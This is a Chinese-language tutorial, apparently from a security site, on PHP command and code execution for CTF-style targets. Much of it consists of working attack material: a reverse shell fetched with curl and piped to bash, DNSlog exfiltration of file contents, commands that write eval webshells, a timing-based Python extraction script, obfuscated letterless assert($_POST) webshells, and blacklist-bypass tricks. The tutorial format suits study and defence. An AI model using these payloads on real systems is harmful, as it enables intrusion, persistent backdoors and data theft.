ye1s
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

0x1 相关函数
PHP 中常见的代码命令执行函数
0x1.1 代码执行
0x1.2 命令执行
还有另外两个函数
proc_open()
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
cmd是要执行的命令,其余见文档
<?php
$command='whoami';
$descriptorspec=array(
0=>array('pipe','r'),
1=>array('pipe','w'),
2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){
print_r($s);
}
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data
0x2 无回显命令执行
示例代码
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
shell_exec($_GET['cmd']);
}
?>
shell_exec函数执行后,是没有回显输出的
0x2.1 判断方式
1.延迟
?cmd=sleep 3
通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行,延迟3秒
2.HTTP请求
(1).在公网服务器监听监听端口
nc -lvp 4444
(2).向目标服务器发起http请求,执行curl命令
?cmd=curl ip:4444
如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞
3.DNS 请求
dnslog
?cmd=ping 9y8y3k.dnslog.cn
0x2.2 利用方式
0x2.2.1 执行命令
1.使用>或>>
?cmd=cat flag.php >flag.txt
2.mv 或 cp
?cmd=mv flag.php flag.txt
?cmd=cp flag.php flag.txt
3.打包压缩
(1)tar打包或tar打包并压缩
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
(2)zip压缩
zip flag.zip flag.php
4.cut and sleep
sed指定读取文件的第几行
cat flag.php | sed -n '2p’
提取每一行的第3个字节
cut -b 3 flag文件
最后
cat flag.php | sed -n '2p' |cut -b 1
exp
import requests
import time
url="http://targetip/"
flag=""
for i in range(6,65):
for j in range(32,127):
data="a=`cat flag.php | sed -n '2p' |cut -b {}`;[ $a = \"{}\" ] %26%26 sleep 1".format(i,chr(j))
#print(data)
start_time=time.time()
requests.post(url=url,data={"cmd":data})
end_time = time.time()
spend_time = end_time - start_time
if spend_time>1:
flag += chr(j)
print(flag)
0x2.2.2 写webshell
直接写入
?cmd= echo "<?php @eval(\$_POST[9415]); ?>" > webshell.php
外部下载
?cmd=wget 网址 -O webshell.php
0x2.2.3 Dnslog
1.命令执行时要避免空格,空格会导致空格后面的命令执行不到;
2.将读取的文件命令用反引号``包含起来;
3.拼接的域名有长度限制
curl `cat<flag.php|base64`.awa4xw.ceye.io
0x2.2.4 反弹shell
1.首先在服务器用nc监听端口
nc -lvp 4444
2.然后在服务器上 开个web服务(8000端口),写一个文件(1.txt文件),内容如下
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
3.执行payload
?cmd=curl x.x.x.x:8000/1.txt|bash
0x3有限字符下的命令执行
示例代码
<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<15){
echo strlen($_GET[1]);
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
上面代码限制了14个字符,但是没有限制命令执行的次数,所以可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。
<?php
eval(
$_GET
[1]
);
经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以可以通过传参构造出这样的一句话木马,不断传入以下Payload:
echo \<?php>1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
还有限制了7位、5位、4位字符的情况,详情可看此文章:http://purplet.top/2020/12/28/%E6%9C%89%E9%99%90%E5%AD%97%E7%AC%A6%E4%B8%8B%E7%9A%84%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%80%BB%E7%BB%93/
0x4 无字母数字webshell
示例代码
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
上面的代码不能传入字母和数字,那该如何操作,有如下四种方式
0x4.1 异或
<?php
echo "."^"~";
# 运行结果为:P
在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串 。
找到两个非数字和字母的字符,异或的结果为我们想要的字符串,可用如下脚本生成。
from urllib import parse
def get_xor(string):
result=''
for i in string:
flag = 0 # 判断是否有找到符合条件的
for j in range(127):
if word_filter(j):
continue
if flag:
break
for k in range(127):
if word_filter(k):
continue
if j^k==ord(i):
result+="('{0}'^'{1}').".format(is_urlencode(j),is_urlencode(k))
flag=1
break
print(result[0:len(result)-1])
def word_filter(num):#判断是否是字母和数字
word=chr(num)
if word.isdigit() or word.isalpha() or word=="\\":
return True
return False
def is_urlencode(num):#对不可打印字符进行url编码
if num<32:
return parse.quote(chr(num))
else:
return chr(num)
get_xor("assert")
get_xor("POST")
payload
<?php
$_=('%01'^'`').('%08'^'{').('%08'^'{').('%05'^'`').('%09'^'{').('%08'^'|'); // $_='assert';
$__='_'.('%0B'^'[').('%0F'^'@').('%08'^'[').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
0x4.2取反
先了解一下取反的相关知识
二进制的最高位是符号位,0表示正数,1表示负数。
正数的原码,反码,补码都一样。
负数的反码=它的原码符号位不变,其它位取反(0->1,1->0)。
负数的补码=它的反码+1。
0的反码,补码都是0.
php没有无符号数,换言之,php中的数都是有符号的。
在计算机运算的时候,都是以补码的方式来运算的,那么运算完后得到的结果也是某个数的补码
例子:
<?php
echo ~8;
?>
运行结果:-9
-9的由来
8的原码、反码、补码都是 :
00000000 00000000 00000000 00001000
取反(即~8)后得到:
11111111 11111111 11111111 11110111 //第一位是符号位,1代表负号,表示这是一个负数;记住运算和运算结果都是用补码表示的,这是某个数的补码,我们还需要推导反码和原码
反码=补码-1,即:
11111111 11111111 11111111 11110110
原码(符号位不变,其他位取反):
10000000 00000000 00000000 00001001
所以结果是:-9
1.直接对字符串进行取反
<?php
echo urlencode(~"phpinfo");
#%8F%97%8F%96%91%99%90
<?php
echo urlencode(~"system")."\n";
echo urlencode(~'whoami')."\n";
#%8C%86%8C%8B%9A%92
#%88%97%90%9E%92%96
payload:
?shell=$_=~%8F%97%8F%96%91%99%90;$_();
?shell=$_=~%8C%86%8C%8B%9A%92;$__=~%88%97%90%9E%92%96;$_($__);
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。
所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):
?shell=(~%8F%97%8F%96%91%99%90)();
?shell=(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
2.利用UTF-8编码的某个汉字,将其中某个字符取出来
<?php
echo ~('和'{2});
#s
用下面的脚本从汉字中找出字符串的每个字符
<?php
//得到一些汉字
function getCChar(){
$url="https://www.zuozuovera.com/archives/787/";
$html=file_get_contents($url);
//print($html);
return $html;
}
//寻找汉字中跟字母相等
function getNegate($s,$t){
$arr=array(1=>'$_',2=>'$__');
for($i=1;$i<strlen($s);$i++){
if(~($s{$i})===$t){
return sprintf('$___="%s";$____.=~($___{%s});',$s,$arr[$i]);
}
}
return "1";
}
// /u表示把字符串当作utf-8处理,并把字符串开始和结束之前所有的字符串分割成数组
function mb_str_split( $string ) {
return preg_split('/(?<!^)(?!$)/u', $string );
}
function getPayload($string){
$result='';
$cchar=getCChar();
for($i=0;$i<strlen($string);$i++) {
foreach(mb_str_split($cchar) as $c){
$word=getNegate($c,$string[$i]);
if($word!="1"){
$result.=$word;
break;
}
}
}
print($result);
print("\n");
}
getPayload("assert");
getPayload("POST");
?>
payload
<?php
$__=('>'>'<')+('>'>'<');//2
$_=$__/$__;//1
$____='';
$___="实";$____.=~($___{$__});$___="二";$____.=~($___{$__});$___="二";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="不";$____.=~($___{$__});$___="事";$____.=~($___{$__});//assert
$_____='_';
$___="说";$_____.=~($___{$_});$___="记";$_____.=~($___{$__});$___="笔";$_____.=~($___{$_});$___="快";$_____.=~($___{$__});//_POST
$_=$$_____;
$____($_[_]);//assert($_POST[_])
这里利用了PHP弱类型特性,true的值为1,故true+true==2。
<?php
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)
#结果会输出:2 1
0x4.3 自增
例子:’a’++ => ‘b’,‘b’++ => ‘c’
如果我们想构造任意的函数的话,我们得从A开头,这样我们才能借此构造任意的字符,拼接成任意的函数。
那我们如何拿到A呢?
p神的答案:
数组(Array)的第一个字母就是大写A,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
<?php
echo ''.[];
#Array
p神的payload
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
0x4.4 通配符
PHP使用“反引号”+“shell”的方式来getshell
shell下可以利用.来执行任意脚本Linux文件名支持用glob通配符代替.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。
glob通配符:
1.*可以代替0个及以上任意字符
2.?可以代表1个任意字符
3.用[^x]的方法来构造“这个位置不是字符x”
4.[0-9]来表示一个范围
更多glob内容可看:https://man7.org/linux/man-pages/man7/glob.7.html
津门杯线上赛hatephp:
因为过滤了$,就无法使用异或、自增,该环境为php5,所以取反也无法使用,这里可以使用通配符 用/???/??? /???? 匹配 /bin/cat /flag
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
payload
?code=?><?=`/???/??? /????`?>
0x5 命令执行绕过
0x5.1 linux 相关命令
一般都是在linux环境中,我们先了解一下linux一些常用的命令
查看文件
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
od 指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来
sort 将文本文件内容加以排序
rev 命令将文件中的每行内容以字符为单位反序输出
strings 打印文件中可打印的字符
cut -f 1 filename 从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出
查找文件
find . -name "fla*"
locate fla* locate 命令无需指定路径,直接搜索即可.而是在一个叫
mlocate.db 的数据库下搜索。这个数据库位于
/var/lib/mlocate/mlocate.db ,它包含了系统里所有文件的索引,并且会在每
天早上的时候由 cron 工具自动更新一次,可以 sudo updadb 更新其数据库
which 命令主要用来查找可执行文件的位置
whereis 命令会在系统默认安装目录(一般是有root权限时默
认安装的软件)查找二进制文件、源码、文档中包含给定查询
关键词的文件。
寻找文件内容
grep -ar fla* / -a不忽略二进制文件
文件传输
curl
利用curl下载文件。
#使用内置option:-o(小写)
# curl -o dodo1.jpg http:www.linux.com/dodo1.JPG
#使用内置option:-O(大写)
# curl -O http://www.linux.com/dodo1.JPG
列目录
ls dir
命令分隔符
%0a符号 换行符
%0d符号 回车符
;符号 在 shell 中,担任"连续指令"功能的符号就是"分号"
&符号 & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个'&'实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息
|符号 管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
&& 表示前一条命令执行成功时,才执行后一条命令
|| 表示上一条命令执行失败后,才执行下一条命令
命令终止符 %00%20#
0x5.2 过滤绕过
首先我们可以写给脚本,看一下未被过滤的字符
<?php
$cmd='0a|09|ls|rm|sleep|sh|base|bash|grep|nc|ping|curl|cat|tac|od|more|less|dir|cut|nl|vi|unique|head|tail|sort|rev|string|find|$|(|)|[|]|{|}|>|<|?|\'|"|*|;|\||&|/|^|+|\\\\';
$filter='| |_|php|;|~|\\^|\\+|eval|cat|tac|rev|nl|head|tail|sort|{|}';#被过滤的字符
function check($filter,$input){
#print($input);
if(!stripos($filter,$input)){
// if(preg_match("/'| |_|=|php/",$input)){
echo $input;
echo "\n";
}
}
$cmds=explode('|', $cmd);
foreach ($cmds as $value) {
check($filter,$value);
}
1.过滤空格
(1).${IFS}
$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
kali@kali:/$ cat flag
flag{this_is_flag}
kali@kali:/$ cat${IFS}flag
flag{this_is_flag}
kali@kali:/$ cat${IFS}$9flag
flag{this_is_flag}
kali@kali:/$ cat$IFS$9flag
flag{this_is_flag}
(2).重定向符<>
kali@kali:/$ cat<flag
flag{this_is_flag}
kali@kali:/$ cat<>flag
bash: flag: Permission denied
2.黑名单绕过
(1).拼接
kali@kali:/$ a=c;b=at;c=flag;$a$b $c
flag{this_is_flag}
(2).base64编码
kali@kali:/$ `echo "Y2F0IGZsYWc="|base64 -d`
flag{this_is_flag}
kali@kali:/$ echo "Y2F0IGZsYWc="|base64 -d|bash
flag{this_is_flag}
(3).单引号、双引号
kali@kali:/$ ca""t flag
flag{this_is_flag}
kali@kali:/$ cat cat f""lag
cat: cat: No such file or directory
flag{this_is_flag}
kali@kali:/$ ca''t fl""ag
flag{this_is_flag}
(4).反斜线 \
kali@kali:/$ c\at fl\ag
flag{this_is_flag}
参考文章:
http://purplet.top/2020/12/28/%E6%9C%89%E9%99%90%E5%AD%97%E7%AC%A6%E4%B8%8B%E7%9A%84%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%80%BB%E7%BB%93/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://github.com/CHYbeta/WAF-Bypass/blob/master/ming-ling-zhu-ru/rao-guo-fang-fa.md
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)